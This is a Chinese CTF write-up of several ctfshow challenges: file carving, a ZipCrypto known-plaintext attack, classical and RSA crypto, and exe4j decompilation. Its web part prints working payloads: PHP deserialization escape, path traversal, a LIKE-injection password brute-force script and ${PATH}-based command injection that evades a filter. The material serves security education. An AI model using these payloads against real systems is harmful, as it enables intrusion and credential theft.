下載附件解壓得到一個welcome.gif
。
直接foremost
工具分離得到一個加密了的zip檔案。然後一開始爆破啥的都試了都解不出來,後來出了hint
小姐姐聲音是aiff格式
百度找到aiff檔案頭為464f524d00
,直接到welcome.gif檔案裡找,不知道檔案尾沒關係,將之後的所有內容全部複製出來儲存為1.aiff
。
開啟聽了10多遍終於聽清了小姐姐說的是歡迎ctfshow的小哥哥來玩
。
將此作為壓縮包的密碼解壓得到一張圖片c.png
。
觀察了一下,發現一圈都是由-|
組成的,且都是8位元
(除了第三個是7位,感覺是群主不小心少畫了)。
嘗試了一下,將-
當作0
,|
當作1
。
那麼最上面的那個就是01100110
,十進位制是102
,對應ascii是f
;
第二個01101100
對應ascii是l
;
第三個只有7位,是01100000
或01100001
,而01100001
對應ascii是a
。
其實已經出來了,就是二進位制轉字元,指令碼如下:
s = '01100110 01101100 01100001 01100111 01111011 01100011 01110100 01100110 01011111 01110011 01101000 01101111 01110111 01011111 01101111 01100110 01011111 01100111 01101111 01101100 01100100 01011111 01110010 01100101 01100011 01101111 01110010 01100100 01111101'
s_list = s.split(' ')
flag = ''
for i in range(len(s_list)):
flag += chr(int(s_list[i],2))
print(flag)
flag為:flag{ctf_show_of_gold_record}
。
多虧出題人hint給的多
1. 步驟1預計時間為50分鐘
2. zip明文攻擊
3. https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md
4. flag[0:9]=='flag{TriG' 可能字型檔案有問題
zip明文攻擊詳解參考文章:加密Zip包(Deflate + ZipCrypto)攻擊小結。
使用工具:rbkcrack。
因為壓縮包裡就一張Triglavian.png
圖片,而png圖片的開頭有16位元組是不變的,為89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
。
這裡我們需要自己建立一個png_header.png
檔案,內容就是由那16位元組組成。
開始攻擊
> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -p PNG_header.png
-C 要攻擊的壓縮包
-c 要攻擊的壓縮包裡面的檔案
-p 剛建立的明文件名
等了一個小時左右吧,能破解得到ZipCrypto的內部的三個key:be056038 0a143c0c 1ea08ca5
。
用這三個key來解碼檔案
> rbkcrack.exe -C Triglavian.zip -c Triglavian.png -k be056038 0a143c0c 1ea08ca5 -d Triglavian.png
-C 要攻擊的壓縮包
-c 要攻擊的壓縮包裡面的檔案
-k 剛生成的三個key
-d 最終還原的檔名
就會在同路徑下得到圖片Triglavian.png
發現紅色字型很奇怪,長得就像是flag的變形版。
百度搜尋Triglavian
,發現是深淵三神裔字型(Triglavian fonts)。
圖片下載連結
字型下載連結
一一對照的就能得出flag:flag{TriG1aviAn_Techn0lo9y}
。
下載附件得到內容
fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu
自動鑰匙⊕
明文全大寫,得到後轉小寫,並以_連線單詞。
題目hint
某古典密碼
經此古典密碼加密後,密文還是大寫
該古典密碼的金鑰形式:keyword+plaintext (+plaintext...+plaintext)
其實這道題一開始我就找到了是Autokey密碼,也用了網上現成的指令碼break_autokey.py。
一些相關模組地址:http://www.practicalcryptography.com/cryptanalysis/text-characterisation/quadgrams/。
單獨下載:trigrams.txt、quadgrams.txt、ngram_score.py。
但是沒跑出來。
一開始也一直不知道互斥或⊕的用處,後來看到群裡阿狸大佬發的截圖,看出加密的字串不是一開始給的那串,懷疑是不是互斥或了什麼東西。
然後就自己嘗試互斥或一下,指令碼:
s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'
for i in range(255):
res=''
for j in range(0,len(s)):
temp = ord(s[j])^i
if 65<=temp<=90 or 97<=temp<=122: #由大小寫字母構成
res += (chr(temp))
if len(res)==len(s):
print(res)
得到
ylltmfzqitrausdzulbuhyselqoxrvynddudcljwemuooqgcnivgkahwj
YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ
然後再次嘗試使用break_autokey.py:
from ngram_score import ngram_score
from pycipher import Autokey
import re
from itertools import permutations
qgram = ngram_score('quadgrams.txt')
trigram = ngram_score('trigrams.txt')
ctext = 'YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ'
ctext = re.sub(r'[^A-Z]','',ctext.upper())
# keep a list of the N best things we have seen, discard anything else
class nbest(object):
def __init__(self,N=1000):
self.store = []
self.N = N
def add(self,item):
self.store.append(item)
self.store.sort(reverse=True)
self.store = self.store[:self.N]
def __getitem__(self,k):
return self.store[k]
def __len__(self):
return len(self.store)
#init
N=100
for KLEN in range(8,20):
rec = nbest(N)
for i in permutations('ABCDEFGHIJKLMNOPQRSTUVWXYZ',3):
key = ''.join(i) + 'A'*(KLEN-len(i))
pt = Autokey(key).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += trigram.score(pt[j:j+3])
rec.add((score,''.join(i),pt[:30]))
next_rec = nbest(N)
for i in range(0,KLEN-3):
for k in range(N):
for c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ':
key = rec[k][1] + c
fullkey = key + 'A'*(KLEN-len(key))
pt = Autokey(fullkey).decipher(ctext)
score = 0
for j in range(0,len(ctext),KLEN):
score += qgram.score(pt[j:j+len(key)])
next_rec.add((score,key,pt[:30]))
rec = next_rec
next_rec = nbest(N)
bestkey = rec[0][1]
pt = Autokey(bestkey).decipher(ctext)
bestscore = qgram.score(pt)
for i in range(N):
pt = Autokey(rec[i][1]).decipher(ctext)
score = qgram.score(pt)
if score > bestscore:
bestkey = rec[i][1]
bestscore = score
print(bestscore,'autokey, klen',KLEN,':"'+bestkey+'",',Autokey(bestkey).decipher(ctext).lower())
得到
-306.4154316738783 autokey, klen 8 :"KYIFZYWC", ondonhdougomhlalafnianstllbprigusstolddcmubadndaboughnewi
-290.9667615558167 autokey, klen 9 :"NHSZZCZEI", letundamainhafazilthaynemidekvaazrmaybowendcosforeidimprv
-252.5124922641369 autokey, klen 10 :"KEYFORFLAG", ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
-272.6830354332479 autokey, klen 11 :"QJTTBDRTGFE", icsalcixconssadosdestlamlnaforgusdispleingawlioncenteallb
-284.1217857757366 autokey, klen 12 :"ELAJWLRDEVRL", ualkquineyapassperthdasplywinefgadcornnoripioneowvistssov
^C
當klen為10時,ohnoyoufindtheflagtheflagforyouisdoyoulikeclassicalcipher
。
結合提示flag為:flag{do_you_like_classical_cipher}
。
原始碼檔案Baby(Don't)Cry.py
:
# -*- coding:utf-8 -*-
#Author: Lazzaro
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
m = '****************************************************flag{*************}'
assert(len(m)==71)
a = randint(50,100)
#隨機產生四位大寫字母
salt = ''.join(sample(ascii_uppercase, 4))
#迭代
si = cycle(salt.lower())
c=encrypt(m, a, si)
print(c)
#3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a
明文長度為71位,加密後為142位。
這裡由於a
不大,salt長度也不長,且明文m中存在flag
,正好可以用這幾位去爆破出a
和salt
。
flag
在明文m中的位置是53
,對應密文c中的位置是105
。flag出現的位置正好對應salt的位置。
f ⇒ 1c
l ⇒ 29
a ⇒ 56
g ⇒ 66
寫指令碼爆出a、salt
:
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
for i in range(50,100):
for j in ascii_uppercase:
si = cycle(j.lower())
# if encrypt('f', i, si)=='1c':
# print('i =',i,'\tj =',j)
if encrypt('l', i, si)=='29':
print('i =',i,'\tj =',j)
結果:
滿足encrypt('f', i, si)=='1c'
的結果:
i = 52 j = D
i = 57 j = F
i = 62 j = H
i = 67 j = J
i = 72 j = L
i = 77 j = N
i = 82 j = P
i = 87 j = R
i = 92 j = T
i = 97 j = V
滿足encrypt('l', i, si)=='29'
的結果:
i = 54 j = A
i = 55 j = U
i = 61 j = M
i = 67 j = E
i = 68 j = Y
i = 74 j = Q
i = 80 j = I
i = 86 j = A
i = 87 j = U
i = 93 j = M
i = 99 j = E
相同的i只有67,說明亂數a=67
。
然後拿著a去繼續爆salt的後兩位
if encrypt('a', 67, si)=='56':
print('j =',j)
if encrypt('g', 67, si)=='66':
print('j =',j)
最終得出salt='JESQ'
。
知道了隨機出a和salt,這道題就出來了
from itertools import *
from random import *
from string import *
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(si)) % 128)[2:].zfill(2)
return c
if __name__ == "__main__":
salt = 'JESQ'
si = cycle(salt.lower())
c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
res = ''
for i in range(0,len(c),2):
ssi = next(si)
for j in range(32,127):
if encrypt(chr(j),67,ssi)==c[i]+c[i+1]:
res += chr(j)
print(res)
得到最終結果:
now_is_7fad9fcb-d361-4964-821c-177c906b8d20_flag_is_flag{md5(now-salt)}
7fad9fcb-d361-4964-821c-177c906b8d20-JESQ
經md5加密後為1efce62ee0a96e39149e2179db1dd04c
最終flag:flag{1efce62ee0a96e39149e2179db1dd04c}
。
# -*- coding:utf-8 -*-
#Author: Lazzaro
from Crypto.Util.number import getPrime,isPrime
from math import gamma
import random
def nextPrime(n):
n += 2 if n & 1 else 1
while not isPrime(n):
n += 2
return n
def getNewPrime():
A = getPrime(512)
B = nextPrime(A - random.randint(1e4,1e5))
return nextPrime(gamma(B+2)%A)
p = getNewPrime()
q = getNewPrime()
r = getNewPrime()
n = p * q ** 2 * r ** 3
e = 0x10001
c = pow(flag,e,n)
#pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
#pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
#qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
#qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
#n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
#c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374
hint
注意伽馬函數Γ(x)和階乘x!的關係式
威爾遜定理
要不是⎝Lazzaro⎠師傅
放出這些hint,我一個半吊子肯定做不來這道題。
知識點
#伽馬函數Γ(x)和階乘x!的關係式
gamma(n)=(n-1)!
#威爾遜定理
當且僅當p為素數時:(p-1)! ≡ -1 (mod p)
推論:(p-2)! ≡ 1 (mod p)
#尤拉函數
若n是質數p的k次冪,phi = p**k - p**(k-1)
回到題目
我們需要求gamma(B+2)%A
,根據伽馬函數Γ(x)和階乘x!的關係式可知(B+1)! % A
。
而根據威爾遜定理可知(A-2)! % A = 1
。
令x = (A-2)!/(B+1)!
,y = (B+1)!
,所以x * y ≡ 1 (mod A)
。
而我們需要求的是y % A
,y是x關於A的逆元。所以求x % A
的逆元即可。
這裡由於A、B相差還不到10萬,所以很容易求解出x % A
。
# -*- coding:utf-8 -*-
#Author: airrudder
from Cryptodome.Util.number import getPrime,isPrime,long_to_bytes
from math import gamma
import random
import gmpy2
import binascii
def nextPrime(n):
n += 2 if n & 1 else 1
while not isPrime(n):
n += 2
return n
def getNewPrime():
A = getPrime(512)
B = nextPrime(A - random.randint(1e4,1e5))
return nextPrime(gamma(B+2)%A)
pA=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
pB=6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
qA=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
qB=7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
e = 0x10001
n=4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
c=1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374
#求 ((pA-2)!/(pB+1)!)%pA 的逆元,等於((pB+1)!)%pA ,等於gamma(pB+2)%pA
p = 1
max = (pA-2) - (pB+1)
for i in range(0,max):
p = p * gmpy2.invert((pA-i-2),pA) % pA
p = nextPrime(p)
#求 ((qA-2)!/(qB+1)!)%qA 的逆元,等於((qB+1)!)%qA ,等於gamma(qB+2)%qA
q = 1
max = (qA-2) - (qB+1)
for i in range(0,max):
q = q * gmpy2.invert((qA-i-2),qA) % qA
q = nextPrime(q)
r = gmpy2.iroot(n/(p*q**2),3)
print(r)
print('p =',p)
print('q =',q)
print('r =',r[0])
phi = (p-1)*(q**2-q)*(r[0]**3-r[0]**2)
d = gmpy2.invert(e,phi)
m = pow(c, d, n)
print(long_to_bytes(m))
flag:flag{N0w_U_knOw_how_70_u5E_W1lS0n'5_Th30r3m~}
。
下載附件得到readme,exe
,提示
你應該見過python程式碼打包成的exe,猜猜這是什麼語言
本人是不會玩逆向的,但是看到這種提示,感覺是可以用工具直接反編譯成原始碼的感覺。
用IDA開啟並按Shift+F12
檢視字串視窗,可以看到很多和java有關的字元
百度了一下exe 反編譯 java
,發現說exe4j只是將java程式,使用自己的方式打包了一下而已,所以執行的時候還是會轉成jar來執行。也就是執行readme.exe
會自動生成一個readme.jar
。
直接使用工具找到這個jar檔案
用jd-gui.jar
反編譯開啟
直接出flag:flag{You_Win_0nce_You_C_Me}
。
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
這裡由於只能get傳入一個1
引數,最後經反序列化後password==='yu22x'
就能拿到flag。
而1引數賦值給的是$uname
,這裡就涉及到了反序列化逃逸,可以參考羽師傅的文章:[0CTF 2016]piapiapia(反序列化逃逸)。
#範例:
$s = 'a:1:{i:0;s:3:"abc";}de";}';
var_dump(unserialize($s));
#得出
array(1) {
[0]=>
string(3) "abc"
}
也就是說,反序列化出來就會把後面的忽略掉。
此題預設password=1
,反序列化後就會生成s:8:"password";i:1;
。
而我們可以自己構造s:8:"password";s:5:"yu22x";
。
嘗試一下在本地傳入Firebasky";s:8:"password";s:5:"yu22x";}
$uname='Firebasky";s:8:"password";s:5:"yu22x";}';
$password=1;
$ser=filter(serialize(new a($uname,$password)));
echo $ser;
序列化結果
O:1:"a":2:{s:5:"uname";s:39:"Firebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}
這裡由於我們傳入的字串有39位,把我們需要的password也給覆蓋了
";s:8:"password";s:5:"yu22x";}
的長度為30,而每輸入一個Firebasky
被替換成Firebaskyup
,長度保持不變,也就可以逃逸出2個字元。所以這裡需要15個Firebasky
就能逃逸出30個字元。
所以最終payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
原始碼
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差點點就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一個都過不了還想要flag呀?!';
}
第一個都過不了還想要flag呀?!
題目hint
存在一個robots.txt
第一關
is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0
?a=1e-162
,嘗試後發現數只要在-323
到-162
之間的都可以。
第二關
($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)))
跟以前的md5類似啊。用0e開頭的數,一次加密後也是0e的一個數和兩次加密後也是0e的數就可以。
後來還給了hint,存取robots.txt,得到hinthint.txt,內容
Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452 hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))
指令碼:
<?php
/* //直接爆破
for ($i=100000000; $i < 10000000000; $i++) {
$b=hash("md2", '0e'.$i);
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
*/
for ($i=0; $i < 999999; $i++) {
$b=hash("md2", '0e'.$i.'024452');
if(is_numeric($b) && substr($b,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$b = ';echo $b;
}
$c=hash("md2",hash("md2", '0e'.$i.'48399'));
if(is_numeric($c) && substr($c,0,2)==='0e'){
echo '$i = ';echo $i;
echo '$c = ';echo $c;
}
}
?>
能得到b=0e652024452,c=0e603448399。
第三關
php遇到不認識的協定就會當目錄處理,例如a://aaa/…/…/etc/passwd之類的。
url=a://ctfshow.com/../../../../../../../fl0g.txt
右鍵檢視原始碼發現
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
看來是like注入了。
like模糊查詢可以使用%
匹配多個字元,_
匹配單個字元。
嘗試後發現%
被過濾,不過下劃線(_)並沒有被過濾。
這裡就需要猜測password的位數了,好傢伙,竟然密碼有32位元。如果小於或大於32個_
都會報wrong username or password
。只有正確匹配才會顯示I have filtered all the characters. Why can you come in? get out!
既然這樣,就可以爆破出密碼。
指令碼
import requests
import string
strs = string.digits+string.ascii_letters
url = 'http://d274b648-0dad-4058-9b20-9a7a35424df5.chall.ctf.show/login.php'
pwd = ''
for i in range(32):
print('i = '+str(i+1),end='\t')
for j in strs:
password = pwd + j + (31-i)*'_'
data = {'username':'yu22x','password':password}
r = requests.post(url,data=data)
if 'wrong' not in r.text:
pwd += j
print(pwd)
break
密碼為67815b0c009ee970fe4014abaa3Fa6A0
。
填入密碼來到/P1099.php
介面。
Normal connection
表示正常連線
Abnormal connection
表示異常連線;
evil input
表示被過濾了。
嘗試發現過濾了一堆,就連a
都過濾了。那就FUZZ跑可顯示的字元,看看都過濾了什麼
小寫字母全被過濾。大寫字母、數位、$
、:
沒被過濾。
linux裡有一個環境變數$PATH
,可以用它來構造小寫字母執行命令。
嘗試構造ls
得到flag.php。
ip=0;${PATH:5:1}${PATH:2:1}
構造nl flag.php
右鍵檢視原始碼得到flag
ip=0;${PATH:14:1}${PATH:5:1} ????.???
轉載請註明出處。
返回目錄
本文網址:https://blog.csdn.net/hiahiachang/article/details/108800210